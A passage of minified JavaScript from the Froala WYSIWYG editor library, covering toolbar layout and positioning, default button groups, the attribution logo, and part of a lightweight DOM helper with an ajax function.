t=y(E._stickyElements[e]),n=t.parent(),r=E.helpers.scrollTop();t.outerHeight()<r-n.offset().top&&(E.opts.toolbarBottom&&E.helpers.isIOS()||(t.addClass("fr-opacity-0"),t.data("sticky-top",-1),t.data("sticky-scheduled",-1)))}},!0);else{"body"!==E.opts.scrollableContainer&&E.events.$on(y(E.opts.scrollableContainer),"scroll",n,!0),E.events.$on(y(E.o_win),"scroll",n,!0),E.events.$on(y(E.o_win),"resize",n,!0),E.events.on("initialized",n),E.events.on("focus",n),E.events.$on(y(E.o_win),"resize","textarea",n,!0);var e=y(E.el).parents(".modal");e.get(0)&&E.events.$on(e,"scroll",n,!0)}E.events.on("destroy",function(){E._stickyElements=[]})}()},forSelection:function l(e){var t=a();if(t.top!=undefined){e.css({top:0,left:0});var n=t.top+t.height,r=t.left+t.width/2-e.get(0).offsetWidth/2+E.helpers.scrollLeft();E.opts.iframe||(n+=E.helpers.scrollTop()),o(r,n,e,t.height)}},addSticky:function r(e){e.addClass("fr-sticky"),E.helpers.isIOS()&&!E.opts.toolbarBottom&&e.addClass("fr-sticky-ios"),e.removeClass("fr-sticky"),E._stickyElements.push(e.get(0))},refresh:n,at:o,getBoundingRect:a}},kt.MODULES.refresh=function(l){var c=l.$;function o(e,t){e.toggleClass("fr-disabled",t).attr("aria-disabled",t)}function e(e){var t=l.$tb.find('.fr-more-toolbar[data-name="'.concat(e.attr("data-group-name"),'"]')),n=function s(e,t){var n=0,r=t.find("> .fr-command, > .fr-btn-wrap");r.each(function(e,t){n+=c(t).outerWidth()});var a,o=l.helpers.getPX(c(r[0]).css("margin-left")),i=l.helpers.getPX(c(r[0]).css("margin-right"));a="rtl"===l.opts.direction?l.$tb.outerWidth()-e.offset().left+l.$tb.offset().left-(n+e.outerWidth()+r.length*(o+i))/2:e.offset().left-l.$tb.offset().left-(n-e.outerWidth()+r.length*(o+i))/2;a+n+r.length*(o+i)>l.$tb.outerWidth()&&(a-=(n+r.length*(o+i)-e.outerWidth())/2);a<0&&(a=0);return a}(e,t);"rtl"===l.opts.direction?t.css("padding-right",n):t.css("padding-left",n)}return{undo:function t(e){o(e,!l.undo.canDo())},redo:function n(e){o(e,!l.undo.canRedo())},outdent:function i(e){if(l.node.hasClass(e.get(0),"fr-no-refresh"))return!1;if(c("button#markdown-".concat(l.id,".fr-active")).length)return!1;for(var t=l.selection.blocks(),n=0;n<t.length;n++){var r="rtl"===l.opts.direction||"rtl"===c(t[n]).css("direction")?"margin-right":"margin-left",a=t[0].parentElement;if(["HTML","P","DIV","UL","OL","LI","TR","BLOCKQUOTE","BODY"].indexOf(a.parentNode.tagName)<0)return o(e,!0),!0;if(t[0].previousSibling&&"none"==a.parentNode.style.listStyleType)return o(e,!0),!0;if("LI"===t[n].tagName||"LI"===t[n].parentNode.tagName)return o(e,!1),!0;if(0<l.helpers.getPX(c(t[n]).css(r))+l.helpers.getPX(c(t[n]).css("text-indent")))return o(e,!1),!0}o(e,!0)},indent:function a(e){if(l.node.hasClass(e.get(0),"fr-no-refresh"))return!1;if(c("button#markdown-".concat(l.id,".fr-active")).length)return!1;for(var t=l.selection.blocks(),n=0;n<t.length;n++){for(var r=t[n].previousSibling;r&&r.nodeType===Node.TEXT_NODE&&0===r.textContent.length;)r=r.previousSibling;if("LI"!==t[n].tagName||r)return o(e,!1),!0;o(e,!0)}},moreText:e,moreParagraph:e,moreMisc:e,moreRich:e}},Object.assign(kt.DEFAULTS,{attribution:!0,toolbarBottom:!1,toolbarButtons:null,toolbarButtonsXS:null,toolbarButtonsSM:null,toolbarButtonsMD:null,toolbarContainer:null,toolbarInline:!1,toolbarSticky:!0,toolbarStickyOffset:0,toolbarVisibleWithoutSelection:!1,toolbarResponsiveToEditor:!1}),kt.TOOLBAR_BUTTONS={moreText:{buttons:["bold","italic","underline","strikeThrough","subscript","superscript","fontFamily","fontSize","textColor","backgroundColor","inlineClass","inlineStyle","clearFormatting"]},moreParagraph:{buttons:["alignLeft","alignCenter","formatOLSimple","alignRight","alignJustify","formatOL","formatUL","paragraphFormat","paragraphStyle","lineHeight","outdent","indent","quote"]},moreRich:{buttons:["trackChanges","markdown","insertLink","insertFiles","insertImage","insertVideo","insertTable","emoticons","fontAwesome","specialCharacters","embedly","insertFile","insertHR","openFilePicker"],buttonsVisible:4},moreMisc:{buttons:["undo","redo","fullscreen","print","getPDF","spellChecker","selectAll","html","help"],align:"right",buttonsVisible:2},trackChanges:{buttons:["showChanges","applyAll","removeAll","applyLast","removeLast"],buttonsVisible:0}},kt.TOOLBAR_BUTTONS_MD=null,(kt.TOOLBAR_BUTTONS_SM={}).moreText=Object.assign({},kt.TOOLBAR_BUTTONS.moreText,{buttonsVisible:2}),kt.TOOLBAR_BUTTONS_SM.moreParagraph=Object.assign({},kt.TOOLBAR_BUTTONS.moreParagraph,{buttonsVisible:2}),kt.TOOLBAR_BUTTONS_SM.moreRich=Object.assign({},kt.TOOLBAR_BUTTONS.moreRich,{buttonsVisible:2}),kt.TOOLBAR_BUTTONS_SM.moreMisc=Object.assign({},kt.TOOLBAR_BUTTONS.moreMisc,{buttonsVisible:2}),kt.TOOLBAR_BUTTONS_SM.trackChanges=Object.assign({},kt.TOOLBAR_BUTTONS.trackChanges,{buttonsVisible:0}),(kt.TOOLBAR_BUTTONS_XS={}).moreText=Object.assign({},kt.TOOLBAR_BUTTONS.moreText,{buttonsVisible:0}),kt.TOOLBAR_BUTTONS_XS.moreParagraph=Object.assign({},kt.TOOLBAR_BUTTONS.moreParagraph,{buttonsVisible:0}),kt.TOOLBAR_BUTTONS_XS.moreRich=Object.assign({},kt.TOOLBAR_BUTTONS.moreRich,{buttonsVisible:0}),kt.TOOLBAR_BUTTONS_XS.moreMisc=Object.assign({},kt.TOOLBAR_BUTTONS.moreMisc,{buttonsVisible:2}),kt.TOOLBAR_BUTTONS_XS.trackChanges=Object.assign({},kt.TOOLBAR_BUTTONS.trackChanges,{buttonsVisible:0}),kt.POWERED_BY='<a id="fr-logo" href="https://froala.com/wysiwyg-editor" target="_blank" title="Froala WYSIWYG HTML Editor"><span>Powered by</span><svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 822.8 355.33"><defs><style>.fr-logo{fill:#b1b2b7;}</style></defs><title>Froala</title><path class="fr-logo" d="M123.58,78.65A16.16,16.16,0,0,0,111.13,73H16.6C7.6,73,0,80.78,0,89.94V128.3a16.45,16.45,0,0,0,32.9,0V104.14h78.5A15.63,15.63,0,0,0,126.87,91.2,15.14,15.14,0,0,0,123.58,78.65Z"/><path class="fr-logo" d="M103.54,170a16.05,16.05,0,0,0-11.44-4.85H15.79A15.81,15.81,0,0,0,0,180.93v88.69a16.88,16.88,0,0,0,5,11.92,16,16,0,0,0,11.35,4.7h.17a16.45,16.45,0,0,0,16.41-16.6v-73.4H92.2A15.61,15.61,0,0,0,107.89,181,15.1,15.1,0,0,0,103.54,170Z"/><path class="fr-logo" d="M233,144.17c-5.29-6.22-16-7.52-24.14-7.52-16.68,0-28.72,7.71-36.5,23.47v-5.67a16.15,16.15,0,1,0-32.3,0v115.5a16.15,16.15,0,1,0,32.3,0v-38.7c0-19.09,3.5-63.5,35.9-63.5a44.73,44.73,0,0,1,5.95.27h.12c12.79,1.2,20.06-2.73,21.6-11.69C236.76,151.48,235.78,147.39,233,144.17Z"/><path class="fr-logo" d="M371.83,157c-13.93-13.11-32.9-20.33-53.43-20.33S279,143.86,265.12,157c-14.67,13.88-22.42,32.82-22.42,54.77,0,21.68,8,41.28,22.4,55.2,13.92,13.41,32.85,20.8,53.3,20.8s39.44-7.38,53.44-20.79c14.55-13.94,22.56-33.54,22.56-55.21S386.39,170.67,371.83,157Zm-9.73,54.77c0,25.84-18.38,44.6-43.7,44.6s-43.7-18.76-43.7-44.6c0-25.15,18.38-43.4,43.7-43.4S362.1,186.59,362.1,211.74Z"/><path class="fr-logo" d="M552.7,138.14a16.17,16.17,0,0,0-16,16.3v1C526.41,143.85,509,136.64,490,136.64c-19.83,0-38.19,7.24-51.69,20.4C424,171,416.4,190,416.4,212c0,21.61,7.78,41.16,21.9,55,13.56,13.33,31.92,20.67,51.7,20.67,18.83,0,36.29-7.41,46.7-19.37v1.57a16.15,16.15,0,1,0,32.3,0V154.44A16.32,16.32,0,0,0,552.7,138.14Zm-16.3,73.6c0,30.44-22.81,44.3-44,44.3-24.57,0-43.1-19-43.1-44.3s18.13-43.4,43.1-43.4C513.73,168.34,536.4,183.55,536.4,211.74Z"/><path class="fr-logo" d="M623.5,61.94a16.17,16.17,0,0,0-16,16.3v191.7a16.15,16.15,0,1,0,32.3,0V78.24A16.32,16.32,0,0,0,623.5,61.94Z"/><path class="fr-logo" d="M806.5,138.14a16.17,16.17,0,0,0-16,16.3v1c-10.29-11.63-27.74-18.84-46.7-18.84-19.83,0-38.19,7.24-51.69,20.4-14.33,14-21.91,33-21.91,55,0,21.61,7.78,41.16,21.9,55,13.56,13.33,31.92,20.67,51.7,20.67,18.83,0,36.29-7.41,46.7-19.37v1.57a16.15,16.15,0,1,0,32.3,0V154.44A16.32,16.32,0,0,0,806.5,138.14Zm-16.3,73.6c0,30.44-22.81,44.3-44,44.3-24.57,0-43.1-19-43.1-44.3s18.13-43.4,43.1-43.4C767.53,168.34,790.2,183.55,790.2,211.74Z"/></svg></a>',kt.MODULES.toolbar=function(y){var L=y.$;function e(e){if(-1<y.opts.pluginsEnabled.indexOf("filestack")&&y.opts.filestackOptions&&y.opts.filestackOptions.uploadToFilestackOnly){var t,n=JSON.parse(JSON.stringify(e)),r=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.includes("openFilePicker"),a=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.includes("insertFile"),o=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.includes("insertFiles");r?(-1!==(t=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.findIndex(function(e){return"insertFile"===e}))&&n.moreRich.buttons.splice(t,1),-1!==(t=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.findIndex(function(e){return"insertFiles"===e}))&&n.moreRich.buttons.splice(t,1)):a&&o&&-1!==(t=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.findIndex(function(e){return"insertFiles"===e}))&&n.moreRich.buttons.splice(t,1);var i=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.findIndex(function(e){return"insertImage"===e});-1<i&&null!==i&&(n.moreRich.buttons[i]="openFilePickerImageOnly");var s=n.moreRich&&n.moreRich.buttons&&n.moreRich.buttons.findIndex(function(e){return"insertVideo"===e});return-1<s&&null!==s&&(n.moreRich.buttons[s]="openFilePickerVideoOnly"),n}return e}var T,t=[];function n(e){var n={};if(Array.isArray(e)){if(!Array.isArray(e[0])){for(var t=[],r=[],a=0;a<e.length;a++)"|"===e[a]||"-"===e[a]?(0<r.length&&t.push(r),r=[]):r.push(e[a]);0<r.length&&t.push(r),e=t}e.forEach(function(e,t){n["group".concat(t+1)]={buttons:e}}),n.showMoreButtons=!1}else"object"!==St(e)||Array.isArray(e)||((n=e).showMoreButtons=!0);return n}function w(){var e=y.helpers.screenSize(y.opts.toolbarResponsiveToEditor);return t[T=e]}function A(){for(var d=y.$tb.find(".fr-more-toolbar"),f=function f(){var e=L(d[p]);if(e.hasClass("fr-expanded")){var n=y.helpers.getPX(e.css("padding-left")),t=e.find("> .fr-command, > .fr-btn-wrap"),r=L(t[0]),a=y.helpers.getPX(r.css("margin-left")),o=y.helpers.getPX(r.css("margin-right")),i=y.helpers.getPX(r.css("margin-top")),s=y.helpers.getPX(r.css("margin-bottom"));if(t.each(function(e,t){n+=L(t).outerWidth()+a+o}),y.$tb.outerWidth()<n){var l=Math.floor(n/y.$tb.outerWidth());n+=l*(n/e[0].childElementCount),l=Math.ceil(n/y.$tb.outerWidth());var c=(y.helpers.getPX(r.css("height"))+i+s)*l;e.css("height",c)}}else e.css("height","")},p=0;p<d.length;p++)f();!y.helpers.isMobile()&&y.opts.toolbarBottom?y.$tb.find(".fr-toolbar .fr-more-toolbar").removeClass("position-relative"):y.$tb.find(".fr-toolbar .fr-more-toolbar").addClass("position-relative")}function a(){if(0==y.$tb.find("[data-name='trackChanges-".concat(y.id,"']")).length&&-1<y.opts.pluginsEnabled.indexOf("track_changes")){y.$tb.append(L('<div class="fr-more-toolbar"></div>').data("name","trackChanges-".concat(y.id)));for(var e=0,t=["showChanges","applyAll","removeAll","applyLast","removeLast"];e<t.length;e++){var n=t[e],r=kt.COMMANDS[n];if(r){r.more_btn=!0;var a=L(y.button.build(n,r,!0));y.button.addButtons(a),y.$tb.find("[data-name='trackChanges-".concat(y.id,"']")).append(a)}}}if(T!==y.helpers.screenSize(y.opts.toolbarResponsiveToEditor)){var o=w(),i=L(),s=L();for(var l in y.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-grp > .fr-btn-wrap > .fr-command, .fr-more-toolbar > .fr-btn-wrap > .fr-command").addClass("fr-hidden"),function E(){for(var e=y.$tb.find(".fr-btn-grp, .fr-more-toolbar"),t=function t(){var n=L(e[r]);n.children().each(function(e,t){n.before(t)}),n.remove()},r=0;r<e.length;r++)t()}(),y.$tb.find(".fr-separator.fr-vs, .fr-separator.fr-hs").remove(),o){var c=o[l];if(c.buttons&&("trackChanges"!==l||-1!==y.opts.pluginsEnabled.indexOf("track_changes"))){var d=void 0,f=0,p=3,u=void 0;"trackChanges"!==l&&(u=L('<div class="fr-btn-grp fr-float-'.concat(o[l].align?o[l].align:"left",'"></div>'))),o.showMoreButtons&&(d=L('<div class="fr-more-toolbar"></div>').data("name","".concat(l,"-").concat(y.id)),"trackChanges"!==l&&"moreRich"!==l||!y.opts.trackChangesEnabled||d.addClass("fr-expanded"));for(var h=0;h<c.buttons.length;h++){c.buttonsVisible!==undefined&&(p=c.buttonsVisible);var g=y.$tb.find('> .fr-command[data-cmd="'+c.buttons[h]+'"], > div.fr-btn-wrap > .fr-command[data-cmd="'+c.buttons[h]+'"]'),m=null;y.node.hasClass(g.next().get(0),"fr-dropdown-menu")&&(m=g.next()),y.node.hasClass(g.next().get(0),"fr-options")&&(g.removeClass("fr-hidden"),g.next().removeClass("fr-hidden"),g=g.parent()),g.removeClass("fr-hidden"),o.showMoreButtons&&p<=f?(d.append(g),m&&d.append(m)):(u.append(g),"|"===c.buttons[h]?u.append(L('<div class="fr-separator fr-vs" role="separator" aria-orientation="vertical"></div>')):"-"===c.buttons[h]&&u.append(L('<div class="fr-separator fr-hs" role="separator" aria-orientation="horizontal"></div>')),m&&u.append(m)),f++}if(o.showMoreButtons&&p<f){var v=y.$tb.find('.fr-command[data-cmd="'.concat(l,'"]'));if(0<v.length)v.removeClass("fr-hidden fr-open");else{var b=l,C=kt.COMMANDS[b];C&&(C.more_btn=!0,v=L(y.button.build(b,C,!0)),y.button.addButtons(v))}u&&u.append(v)}u&&i.push(u),o.showMoreButtons&&s.push(d)}}y.opts.toolbarBottom?(y.$tb.append(s),y.$tb.find(".fr-newline").remove(),y.$tb.append('<div class="fr-newline"></div>'),y.$tb.append(i)):(y.$tb.append(i),y.$tb.find(".fr-newline").remove(),y.$tb.append('<div class="fr-newline"></div>'),y.$tb.append(s)),y.$tb.removeClass("fr-toolbar-open"),y.$box.removeClass("fr-toolbar-open"),y.events.trigger("codeView.toggle")}A()}function r(t,n){setTimeout(function(){var e;y.opts.iframe?e=y.$iframe.get(0).contentWindow.document.activeElement:e=document.activeElement;if((!t||t.which!=kt.KEYCODE.ESC)&&y.selection.inEditor()&&y.core.hasFocus()&&!y.popups.areVisible()&&"false"!=L(y.selection.blocks()[0]).closest("table").attr("contenteditable")&&"INPUT"!==e.tagName&&"TEXTAREA"!==e.tagName&&(y.opts.toolbarVisibleWithoutSelection||!y.selection.isCollapsed()&&!y.keys.isIME()||n)){if(y.$tb.data("instance",y),!1===y.events.trigger("toolbar.show",[t]))return;if(t&&y.helpers.isMobile()&&!function r(e,t){var n=e.target;for(;n;){if(n===t)return!0;n=n.parentElement}return!1}(t,y.$box))return;y.$tb.show(),y.opts.toolbarContainer||y.position.forSelection(y.$tb),1<y.opts.zIndex?y.$tb.css("z-index",y.opts.zIndex+1):y.$tb.css("z-index",null)}},0)}function o(e){return(!e||"blur"!==e.type||document.activeElement!==y.el)&&((!e||"blur"!==e.type||!y.helpers.isMobile())&&(!(!e||"keydown"!==e.type||!y.keys.ctrlKey(e))||(!!y.button.getButtons(".fr-dropdown.fr-active").next().find(y.o_doc.activeElement).length||(y.helpers.isMobile()&&y.opts.toolbarInline&&(y.$tb.find(".fr-expanded").toggleClass("fr-expanded"),y.$tb.find(".fr-open").removeClass("fr-open"),y.$tb.removeClass("fr-toolbar-open"),A()),void(!1!==y.events.trigger("toolbar.hide")&&y.$tb.hide())))))}t[kt.XS]=n(e(y.opts.toolbarButtonsXS||y.opts.toolbarButtons||kt.TOOLBAR_BUTTONS_XS||kt.TOOLBAR_BUTTONS||[])),t[kt.SM]=n(e(y.opts.toolbarButtonsSM||y.opts.toolbarButtons||kt.TOOLBAR_BUTTONS_SM||kt.TOOLBAR_BUTTONS||[])),t[kt.MD]=n(e(y.opts.toolbarButtonsMD||y.opts.toolbarButtons||kt.TOOLBAR_BUTTONS_MD||kt.TOOLBAR_BUTTONS||[])),t[kt.LG]=n(e(y.opts.toolbarButtons||kt.TOOLBAR_BUTTONS||[]));var i=null;function s(e){clearTimeout(i),e&&e.which===kt.KEYCODE.ESC||(i=setTimeout(r,y.opts.typingTimer))}function l(){y.events.on("window.mousedown",o),y.events.on("keydown",o),y.events.on("blur",o),y.events.$on(y.$tb,"transitionend",".fr-more-toolbar",function(){y.position.forSelection(y.$tb)}),y.helpers.isMobile()||y.events.on("window.mouseup",r),y.helpers.isMobile()?y.helpers.isIOS()||(y.events.on("window.touchend",r),y.browser.mozilla&&setInterval(r,200)):y.events.on("window.keyup",s),y.events.on("keydown",function(e){e&&e.which===kt.KEYCODE.ESC&&y.events.trigger("toolbar.esc")}),y.events.on("keydown",function(e){if(e.which===kt.KEYCODE.ALT)return e.stopPropagation(),!1},!0),y.events.$on(y.$wp,"scroll.toolbar",r),y.events.on("commands.after",r),y.helpers.isMobile()&&(y.events.$on(y.$doc,"selectionchange",s),y.events.$on(y.$doc,"orientationchange",r))}function c(){y.$tb&&(y.$tb.html("").removeData().remove(),y.$tb=null),y.$second_tb&&(y.$second_tb.html("").removeData().remove(),y.$second_tb=null)}function d(){y.$box.removeClass("fr-top fr-bottom fr-inline fr-basic"),y.$box.find(".fr-sticky-dummy").remove()}function f(){y.opts.theme&&y.$tb.addClass("".concat(y.opts.theme,"-theme")),1<y.opts.zIndex&&y.$tb.css("z-index",y.opts.zIndex+1),"auto"!==y.opts.direction&&y.$tb.removeClass("fr-ltr fr-rtl").addClass("fr-".concat(y.opts.direction)),y.helpers.isMobile()?y.$tb.addClass("fr-mobile"):y.$tb.addClass("fr-desktop"),y.opts.toolbarContainer?(y.opts.toolbarInline&&(l(),o()),y.opts.toolbarBottom?y.$tb.addClass("fr-bottom"):y.$tb.addClass("fr-top")):function e(){y.opts.toolbarInline?(y.$sc.append(y.$tb),y.$tb.data("container",y.$sc),y.$tb.addClass("fr-inline"),l(),y.opts.toolbarBottom=!1):(y.opts.toolbarBottom?(y.$box.append(y.$tb),y.$tb.addClass("fr-bottom"),y.$box.addClass("fr-bottom")):(y.opts.toolbarBottom=!1,y.$box.prepend(y.$tb),y.$tb.addClass("fr-top"),y.$box.addClass("fr-top")),y.$tb.addClass("fr-basic"),y.opts.toolbarSticky&&(y.opts.toolbarStickyOffset&&(y.opts.toolbarBottom?y.$tb.css("bottom",y.opts.toolbarStickyOffset):y.$tb.css("top",y.opts.toolbarStickyOffset)),y.position.addSticky(y.$tb)))}(),function t(){var e=y.button.buildGroup(w());y.$tb.append(e),A(),y.button.bindCommands(y.$tb)}(),function r(){y.events.$on(L(y.o_win),"resize",a),y.events.$on(L(y.o_win),"orientationchange",a),y.opts.toolbarButtons&&-1<JSON.stringify(y.opts.toolbarButtons).indexOf("trackChanges")&&a();var e=y.$tb.find(".fr-more-toolbar[data-name=trackChanges-".concat(y.id,"]")),t=0!==e.length&&e.hasClass("fr-expanded");if(y.opts.trackChangesEnabled&&!t){var n=y.$tb.find(".fr-command.fr-btn[data-cmd=trackChanges");e.addClass("fr-expanded"),n.toggleClass("fr-open"),y.toolbar.enable()}}(),y.accessibility.registerToolbar(y.$tb),y.events.$on(y.$tb,"".concat(y._mousedown," ").concat(y._mouseup),function(e){var t=e.originalEvent?e.originalEvent.target||e.originalEvent.originalTarget:null;if(t&&"INPUT"!==t.tagName&&!y.edit.isDisabled())return e.stopPropagation(),e.preventDefault(),!1},!0),y.helpers.isMobile()&&y.events.$on(y.$tb,"click",function(){y.popups.areVisible().length||y.id!==y.shared.selected_editor&&y.shared.selected_editor||y.$el.focus()}),y.events.$on(y.$tb,"transitionend",".fr-more-toolbar",function(){y.$box.hasClass("fr-fullscreen")&&(y.opts.height=y.o_win.innerHeight-(y.opts.toolbarInline?0:y.$tb.outerHeight()+(y.$second_tb?y.$second_tb.outerHeight():0)),y.size.refresh())})}var p=!1;return{_init:function u(){if(y.$sc=L(y.opts.scrollableContainer).first(),!y.$wp)return!1;y.opts.toolbarInline||y.opts.toolbarBottom||(y.$second_tb=L(y.doc.createElement("div")).attr("class","fr-second-toolbar"),y.$box.append(y.$second_tb),(!1!==y.ul||y.opts.attribution)&&y.$second_tb.prepend(kt.POWERED_BY)),y.opts.toolbarContainer?(y.shared.$tb?(y.$tb=y.shared.$tb,y.opts.toolbarInline&&l()):(y.shared.$tb=L(y.doc.createElement("DIV")),y.shared.$tb.addClass("fr-toolbar"),y.$tb=y.shared.$tb,L(y.opts.toolbarContainer).append(y.$tb),f(),y.$tb.data("instance",y)),y.opts.toolbarInline?y.$box.addClass("fr-inline"):y.$box.addClass("fr-basic"),y.events.on("focus",function(){y.$tb.data("instance",y)},!0),y.opts.toolbarInline=!1):y.opts.toolbarInline?(y.$box.addClass("fr-inline"),y.shared.$tb?(y.$tb=y.shared.$tb,l()):(y.shared.$tb=L(y.doc.createElement("DIV")),y.shared.$tb.addClass("fr-toolbar"),y.$tb=y.shared.$tb,f())):(y.$box.addClass("fr-basic"),y.$tb=L(y.doc.createElement("DIV")),y.$tb.addClass("fr-toolbar"),f(),y.$tb.data("instance",y)),y.events.on("destroy",d,!0),y.events.on(y.opts.toolbarInline||y.opts.toolbarContainer?"shared.destroy":"destroy",c,!0),y.events.on("edit.on",function(){y.$tb.removeClass("fr-disabled").removeAttr("aria-disabled")}),y.events.on("edit.off",function(){y.$tb.addClass("fr-disabled").attr("aria-disabled",!0)}),function e(){y.events.on("shortcut",function(e,t,n){var r;if(t&&!n?r=y.$tb.find('.fr-command[data-cmd="'.concat(t,'"]')):t&&n&&(r=y.$tb.find('.fr-command[data-cmd="'.concat(t,'"][data-param1="').concat(n,'"]'))),r.length&&(e.preventDefault(),e.stopPropagation(),r.parents(".fr-toolbar").data("instance",y),"keydown"===e.type))return y.button.exec(r),!1})}()},hide:o,show:function h(){if(!1===y.events.trigger("toolbar.show"))return!1;y.$tb.show()},showInline:r,disable:function g(){!p&&y.$tb&&(y.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-wrap > .fr-command").addClass("fr-disabled fr-no-refresh").attr("aria-disabled",!0),p=!0)},enable:function m(){p&&y.$tb&&(y.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-wrap > .fr-command").removeClass("fr-disabled fr-no-refresh").attr("aria-disabled",!1),p=!1),y.button.bulkRefresh()},setMoreToolbarsHeight:A}};var c=["scroll","wheel","touchmove","touchstart","touchend"],d=["webkit","moz","ms","o"],f=["transitionend"],o=document.createElement("div").style,i=["Webkit","Moz","ms","O","css","style"],s={visibility:"hidden",display:"block"},r=["focus","blur","click"],p={},u=function u(e,t){return{altKey:e.altKey,bubbles:e.bubbles,cancelable:e.cancelable,changedTouches:e.changedTouches,ctrlKey:e.ctrlKey,detail:e.detail,eventPhase:e.eventPhase,metaKey:e.metaKey,pageX:e.pageX,pageY:e.pageY,shiftKey:e.shiftKey,view:e.view,"char":e["char"],key:e.key,keyCode:e.keyCode,button:e.button,buttons:e.buttons,clientX:e.clientX,clientY:e.clientY,offsetX:e.offsetX,offsetY:e.offsetY,pointerId:e.pointerId,pointerType:e.pointerType,screenX:e.screenX,screenY:e.screenY,targetTouches:e.targetTouches,toElement:e.toElement,touches:e.touches,type:e.type,which:e.which,target:e.target,currentTarget:t,originalEvent:e,stopPropagation:function(){e.stopPropagation()},stopImmediatePropagation:function(){e.stopImmediatePropagation()},preventDefault:function(){(/Android/i.test(navigator.userAgent)&&"touchend"===e.type||-1===c.indexOf(e.type))&&e.preventDefault()}}},h=function h(e){return e.ownerDocument&&e.ownerDocument.body&&e.ownerDocument.body.contains(e)||"#document"===e.nodeName||"HTML"===e.nodeName||e===window},g=function g(n,r){return function(e){var t=e.target;if(r)for(r=v(r);t&&t!==this;)Element.prototype.matches.call(t,v(r))&&n.call(t,u(e,t)),t=t.parentNode;else h(t)&&n.call(t,u(e,t))}},m=function m(e,t){return new L(e,t)},v=function v(e){return e&&"string"==typeof e?e.replace(/^\s*>/g,":scope >").replace(/,\s*>/g,", :scope >"):e},b=function b(e){return"function"==typeof e&&"number"!=typeof e.nodeType},C=m;m.fn=m.prototype={constructor:m,length:0,contains:function(e){if(!e)return!1;if(Array.isArray(e)){for(var t=0;t<e.length;t++)if(this.contains(e[t])&&this!=e[t])return!0;return!1}for(var n=0;n<this.length;n++)for(var r=e;r;){if(r==this[n]||r[0]&&r[0].isEqualNode(this[n]))return!0;r=r.parentNode}return!1},findVisible:function(e){for(var t=this.find(e),n=t.length-1;0<=n;n--)C(t[n]).isVisible()||t.splice(n,1);return t},formatParams:function(t){var e="".concat(Object.keys(t).map(function(e){return"".concat(e,"=").concat(encodeURIComponent(t[e]))}).join("&"));return e||""},ajax:function(t){var n=new XMLHttpRequest,e=this.formatParams(t.data);for(var r in"GET"===t.method.toUpperCase()&&(t.url=e?t.url+"?"+e:t.url),n.open(t.method,t.url,!0),t.withCredentials&&(n.withCredentials=!0),t.crossDomain&&n.setRequestHeader("Access-Control-Allow-Origin","*"),t.headers)Object.prototype.hasOwnProperty.call(t.headers,r)&&n.setRequestHeader(r,t.headers[r]);Object.prototype.hasOwnProperty.call(t.headers,"Content-Type")||("json"===t.dataType?n.setRequestHeader("Content-Type","application/json"):n.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8")),n.onload=function(){if(200==n.status){var e=n.responseText;"json"===t.dataType&&(e=JSON.parse(e)),t.done(e,n.status,n)}else t.fail(n)},n.send(e)},prevAll:function(){var e=C();if(!this[0])return e;for(var t=this[0];t&&t.previousSibling;)t=t.previousSibling,e.push(t);return e},index:function(e){return e?"string"==typeof e?[].indexOf.call(C(e),this[0]):[].indexOf.call(this,e.length?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},isVisible:function(){return!!this[0]&&!!(this[0].offsetWidth||this[0].offsetHeight||this[0].getClientRects().length)},toArray:function(){return[].slice.call(this)},get:function(e){return null==e?[].slice.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=m.merge(this.constructor(),e);return t.prevObject=this,t},wrapAll:function(e){var t;return this[0]&&(b(e)&&(e=e.call(this[0])),t=m(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstElementChild;)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){if("string"==typeof e){for(var t=e.split(" "),n=0;n<t.length&&0===t[n].trim().length;)n++;if(n<t.length&&(C(e).length&&t[n].trim()===C(e)[0].tagName&&(e=document.createElement(t[n].trim())),n++),"string"!=typeof e)for(var r=C(e);n<t.length;n++){t[n]=t[n].trim();var a=t[n].split("=");r.attr(a[0],a[1].replace('"',""))}}for(;this[0].firstChild&&this[0].firstChild!==e&&"string"!=typeof e;)e.appendChild(this[0].firstChild)},wrapContent:function(e){for(var t=document.createElement(e.tagName),n=0;n<e.attributes.length;n++)C(t).attr(e.attributes[n].nodeName,e.attributes[n].value);C(this[0]).contents().wrapAll(t)},wrap:function(t){var n=b(t);return this.each(function(e){C(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(){return this.parent().each(function(){this.nodeName&&this.nodeName.toLowerCase()===name.toLowerCase()||m(this).replaceWith(this.childNodes)})},grep:function(e,t,n){for(var r=[],a=0,o=e.length,i=!n;a<o;a++)!t(e[a],a)!==i&&r.push(e[a]);return r},map:function(n){return this.pushStack(m.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack([].slice.apply(this,arguments))},each:function(e){if(this.length)for(var t=0;t<this.length&&!1!==e.call(this[t],t,this[t]);t++);return this},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},empty:function(){for(var e=0;e<this.length;e++)this[e].innerHTML=""},contents:function(){for(var e=C(),t=0;t<this.length;t++)for(var n=this[t].childNodes,r=0;r<n.length;r++)e.push(n[r]);return e},attr:function(e,t){if("object"===St(e)){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&null!==e[n]&&this.attr(n,e[n]);return this}if(void 0===t)return 0===this.length||!this[0].getAttribute&&"checked"!==e?undefined:"checked"===e?this[0].checked:"tagName"===e?this[0].tagName:this[0].getAttribute(e);if("checked"===e)for(var r=0;r<this.length;r++)this[r].checked=t;else if("tagName"===e)for(var 